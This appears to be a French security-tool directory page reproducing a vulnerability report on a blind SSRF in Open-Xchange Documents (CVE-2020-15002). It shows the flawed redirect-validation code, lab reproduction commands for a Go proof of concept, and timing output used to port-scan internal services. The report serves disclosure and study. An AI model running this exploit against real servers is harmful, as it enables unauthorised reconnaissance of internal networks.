Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Blind-SSRF-CVE-2020-15002 — https://hackerone.com/reports/865652 | Kitploit
Outils/GitHubGitHub/skr0x1c0/blind-ssrf-cve-2020-15002
ReconnaissanceScan de PortsAnalyse des VulnérabilitésExploitationExploitation d'Applications Web
GitHubskr0x1c0/blind-ssrf-cve-2020-15002

Blind-SSRF-CVE-2020-15002

https://hackerone.com/reports/865652

Voir le dépôt
3il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Résumé

La logique dans AddFileAction.getImageDataFromUrl pour récupérer des images depuis des URLs externes lors du traitement de /appsuite/api/oxodocumentfilter&action=addfile implémentée ici valide les URLs redirigées seulement après avoir suivi toutes les redirections.

root@kitploit:~
response = httpClient.execute(getRequest, context);

int statusCode = response.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
    List<URI> locations = context.getRedirectLocations();
    if (locations != null) {
        for (URI uri : locations) {
            try {
                Optional<OXException> oxException = validator.apply(uri.toURL());
                if (oxException.isPresent()) {
                    throw (RESTException) oxException.get().getCause();
                }
            } catch (MalformedURLException e) {
                throw new RESTException(ErrorCode.GENERAL_ARGUMENTS_ERROR, e);
            }
        };
    }
    long length = response.getEntity().getContentLength();
    ...
}

Cela peut être utilisé par un attaquant pour exécuter une attaque SSRF aveugle.

Étapes pour reproduire

  1. Installer Open-Xchange et Documents dans une machine virtuelle en suivant les guides https://oxpedia.org/wiki/index.php?title=AppSuite:Open-Xchange_Installation_Guide_for_Debian_9.0 et https://oxpedia.org/wiki/index.php?title=AppSuite:Documents_Installation_Guide#Debian_GNU.2FLinux_9.0_.28valid_from_v7.10.29
  2. Dans la VM, exécuter la commande suivante pour faire écouter netcat sur 127.0.0.1:7070
    root@kitploit:~
    nc -l 127.0.0.1 -p 7070
    
  3. Sur la machine hôte, installer golang depuis https://golang.org/dl/
  4. Télécharger et extraire le fichier poc.zip
  5. Ouvrir un terminal / ligne de commande et se placer dans le dossier extrait de poc.zip
  6. Exécuter la commande
    root@kitploit:~
    go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret"
    
    où
    • redirectorAddress : L’adresse IP et le port auxquels le serveur de redirection doit se lier. Cette adresse IP doit être accessible depuis la VM.
    • targetPorts : Port dans la VM où netcat écoute.
    • serverRoot : URL de base du serveur Open-Xchange.
    • username : Nom d'utilisateur d’un utilisateur sur le serveur Open-Xchange.
    • password : Mot de passe de l’utilisateur sur le serveur Open-Xchange.

L’exécution de la commande ci-dessus affichera la sortie suivante dans netcat

root@kitploit:~
GET /image.png HTTP/1.1
Accept: *
Accept-Encoding: gzip
Host: 127.0.0.1:7070
Connection: Keep-Alive
User-Agent: Open-Xchange Image Url Data Fetcher

Impact

Puisqu’il s’agit d’un SSRF aveugle, il n’est pas possible de lire la réponse des requêtes HTTP. Cependant, cette vulnérabilité peut être utilisée pour la reconnaissance.

Exemple : Scan de ports en mesurant le temps de réponse

Pour effectuer un scan de ports sur les ports 7070, 61616, 8004, 80, 22, 25, 8080, 3125 sur le réseau local du serveur, exécuter la commande suivante

root@kitploit:~
go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070,61616,8004,80,22,8080,3125" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret" -numSamples=20

Sortie :

root@kitploit:~
2020/05/04 13:32:42 7070: 2.220000
2020/05/04 13:32:42 61616: 3567.000000
2020/05/04 13:32:42 8004: 2.980000
2020/05/04 13:32:42 80: 3.180000
2020/05/04 13:32:42 22: 34.600000
2020/05/04 13:32:42 25: 2169.333333
2020/05/04 13:32:42 8080: 2.560000
2020/05/04 13:32:42 3125: 3.000000

Nous pouvons utiliser lsof pour voir les ports ouverts dans la VM

root@kitploit:~
sudo lsof -nP -iTCP -sTCP:LISTEN

Sortie :

root@kitploit:~
COMMAND  PID         USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java     467 open-xchange   15u  IPv6  13049      0t0  TCP 172.16.66.130:9994 (LISTEN)
java     467 open-xchange   16u  IPv6  15970      0t0  TCP *:42319 (LISTEN)
java     467 open-xchange   24u  IPv6  14136      0t0  TCP 127.0.0.1:61616 (LISTEN)
java     467 open-xchange   33u  IPv6  16419      0t0  TCP *:8004 (LISTEN)
java     489 open-xchange   37u  IPv6  14138      0t0  TCP 127.0.0.1:9999 (LISTEN)
java     489 open-xchange   42u  IPv6  17565      0t0  TCP 127.0.0.1:1099 (LISTEN)
java     489 open-xchange   47u  IPv6  14144      0t0  TCP 127.0.0.1:5701 (LISTEN)
java     489 open-xchange  127u  IPv6  15345      0t0  TCP *:36149 (LISTEN)
java     489 open-xchange  144u  IPv6  17559      0t0  TCP 127.0.0.1:8009 (LISTEN)
apache2  526         root    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  527     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  528     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
mysqld   695        mysql   26u  IPv4  13847      0t0  TCP 127.0.0.1:3306 (LISTEN)
exim4   1077  Debian-exim    3u  IPv4  13115      0t0  TCP 127.0.0.1:25 (LISTEN)
exim4   1077  Debian-exim    4u  IPv6  13116      0t0  TCP [::1]:25 (LISTEN)
sshd    1345         root    3u  IPv4  14259      0t0  TCP 172.16.66.130:22 (LISTEN)
sshd    1345         root    4u  IPv4  14261      0t0  TCP 127.0.0.1:22 (LISTEN)

À partir des sorties ci-dessus, les observations suivantes peuvent être faites :

  • Comme nous pouvons le voir pour les ports fermés 7070, 8080 et 3125, les temps de réponse sont faibles (environ moins de 3 ms)
  • Pour les ports ouverts, selon le type de connexion en écoute, le temps de réponse varie
    • Pour ssh (port 22) le temps de réponse est d’environ 34 ms
    • Pour exim (port 25) le temps de réponse est d’environ 2170 ms
    • Pour ActiveMQ (port 61616) le temps de réponse est d’environ 3567 ms
    • Pour http (port 80 et 8004) le temps de réponse est d’environ 3 ms (ce type est difficile à distinguer des ports fermés)

Ainsi, un attaquant peut utiliser cette vulnérabilité pour détecter la plupart des ports ouverts et peut utiliser le temps de réponse pour identifier le type de connexion (ssh / exim / activemq, etc.).

Télécharger l’outil